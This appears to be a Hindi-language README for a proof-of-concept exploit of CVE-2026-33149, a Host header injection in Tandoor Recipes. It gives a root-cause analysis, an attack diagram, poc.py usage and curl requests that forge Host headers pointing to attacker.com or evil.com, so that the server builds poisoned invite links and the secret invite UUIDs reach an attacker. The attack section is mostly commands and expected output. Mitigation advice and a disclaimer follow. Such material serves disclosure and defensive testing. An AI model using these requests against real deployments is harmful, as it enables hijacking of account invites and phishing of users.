
CVE-2026-33149 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Tandoor Recipes में एक Host header injection जो इनवाइट लिंक पॉइज़निंग और कैश पॉइज़निंग को सक्षम बनाता है। इसमें होस्ट स्वीकृति, पेजिनेशन, स्कीमा और इनवाइट पॉइज़निंग के लिए मॉड्यूल शामिल हैं।
Tandoor Recipes settings.py में डिफ़ॉल्ट रूप से ALLOWED_HOSTS = '*' सेट करता है, जिससे Django बिना किसी सत्यापन के HTTP Host हेडर में को स्वीकार कर लेता है। एप्लिकेशन कई सुरक्षा-संवेदनशील संदर्भों में पूर्ण URL उत्पन्न करने के लिए का उपयोग करता है। एक हमलावर जो निर्मित हेडर के साथ अनुरोध भेज सकता है, सर्वर द्वारा उत्पन्न सभी URL को हमलावर-नियंत्रित डोमेन पर पुनर्निर्देशित कर सकता है।
request.build_absolute_uri()Hostसबसे गंभीर प्रभाव इनवाइट लिंक पॉइज़निंग है: जब कोई व्यवस्थापक उपयोगकर्ता इनवाइट बनाता है, तो सर्वर द्वारा भेजे गए ईमेल में हमलावर के डोमेन की ओर इशारा करने वाला लिंक होता है। पीड़ित एक वैध दिखने वाले ईमेल पर क्लिक करता है, इनवाइट टोकन बाहर निकाल लिया जाता है, और हमलावर इसका उपयोग खाता प्रावधान प्रवाह को हाईजैक करने के लिए करता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — स्क्रिप्टिंग सिंटैक्स के लिए HTTP हेडर का अनुचित न्यूट्रलाइज़ेशन |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| प्रभावित संस्करण | Tandoor Recipes ≤ 2.5.3 |
| विक्रेता | TandoorRecipes/recipes |
फ़ाइल: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
Django का ALLOWED_HOSTS एक सुरक्षा उपाय है जो Host हेडर को व्हाइटलिस्ट के विरुद्ध सत्यापित करता है। वाइल्डकार्ड '*' इस सत्यापन को पूरी तरह से अक्षम कर देता है, जिससे कोई भी मनमाना मान स्वीकार हो जाता है।
फ़ाइल: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() request.get_host() का उपयोग करके URL बनाता है, जो ALLOWED_HOSTS द्वारा प्रतिबंधित न होने पर कच्चा Host हेडर मान लौटाता है। इनवाइट UUID — एक गुप्त टोकन — उस URL में एम्बेडेड होता है जो अब हमलावर की ओर इशारा करता है।
next/previous URL के लिए build_absolute_uri() का उपयोग करती हैं┌──────────┐ ① निर्मित अनुरोध ┌─────────────────┐
│ हमलावर │ ──────────────────────────────→│ Tandoor सर्वर │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
"attacker.com" का उपयोग करता है
│
▼
┌────────────────┐
│ SMTP सर्वर │
└────────┬───────┘
│
③ पॉइज़न लिंक वाला ईमेल:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ पीड़ित │
│ (लिंक पर क्लिक)│
└────────┬───────┘
│
④ UUID हमलावर को भेजा गया
│
▼
┌────────────────┐
│ हमलावर │
│ वास्तविक सर्वर │
│ पर UUID का उपयोग│
└────────────────┘
requests लाइब्रेरीpip install requests
# बेसिक प्रमाणीकरण के साथ सभी सत्यापन मॉड्यूल चलाएँ
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# सत्र कुकीज़ के साथ सभी मॉड्यूल चलाएँ
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# केवल इनवाइट लिंक पॉइज़निंग
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| मॉड्यूल | विवरण |
|---|---|
host-accept | सत्यापित करता है कि लक्ष्य मनमाना Host हेडर स्वीकार करता है (ALLOWED_HOSTS = '*') |
pagination | पुष्टि करता है कि API पेजिनेशन URL इंजेक्ट किए गए डोमेन को दर्शाते हैं |
schema | पुष्टि करता है कि OpenAPI स्कीमा सर्वर URL इंजेक्ट किए गए डोमेन को दर्शाते हैं |
invite | पॉइज़न इनवाइट लिंक बनाता है — प्राथमिक हमला वेक्टर |
all | सभी मॉड्यूल क्रमिक रूप से चलाता है |
1. होस्ट हेडर स्वीकृति
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# अपेक्षित: 200 (असुरक्षित) | 400 (पैच किया गया)
2. पेजिनेशन URL प्रतिबिंब
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# अपेक्षित: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. स्कीमा URL प्रतिबिंब
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# अपेक्षित: http://evil.com/...
4. इनवाइट लिंक पॉइज़निंग
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# पीड़ित को ईमेल मिलता है: "Click: http://attacker.com/invite/<uuid>"
| प्रभाव क्षेत्र | विवरण | गंभीरता |
|---|---|---|
| इनवाइट टोकन हाईजैक | हमलावर पॉइज़न ईमेल लिंक के माध्यम से इनवाइट UUID कैप्चर करता है, खाता प्रावधान को हाईजैक करता है | गंभीर |
| क्रेडेंशियल फ़िशिंग | पीड़ित वैध पंजीकरण पृष्ठ की उम्मीद करते हुए हमलावर-नियंत्रित डोमेन पर पहुँचता है | उच्च |
| कैश पॉइज़निंग | कैशिंग प्रॉक्सी वाले डिप्लॉयमेंट में, एक पॉइज़न प्रतिक्रिया सभी उपयोगकर्ताओं के लिए कैश को दूषित कर देती है | उच्च |
| API क्लाइंट गलत दिशा | पेजिनेशन और स्कीमा URL API उपभोक्ताओं को हमलावर इंफ्रास्ट्रक्चर पर पुनर्निर्देशित करते हैं | मध्यम |
अपने वैध होस्टनामों को स्पष्ट रूप से सूचीबद्ध करने के लिए ALLOWED_HOSTS सेट करें:
# docker-compose.yml या .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host हेडर वाले अनुरोधों को अस्वीकार करने के लिए Nginx/Apache कॉन्फ़िगर करेंUSE_X_FORWARDED_HOST = False — सुनिश्चित करें कि Django अविश्वसनीय स्रोतों से X-Forwarded-Host पर भरोसा न करे (डिफ़ॉल्ट False है)request.build_absolute_uri() पर निर्भर रहने के बजाय ईमेल लिंक निर्माण के लिए स्पष्ट SITE_URL कॉन्फ़िगरेशन का उपयोग करेंयह प्रूफ ऑफ कॉन्सेप्ट केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस उपकरण के दुरुपयोग के लिए कोई दायित्व नहीं मानता है।
Filipe Gaudard — आक्रामक सुरक्षा शोधकर्ता | eWPT | eWPTx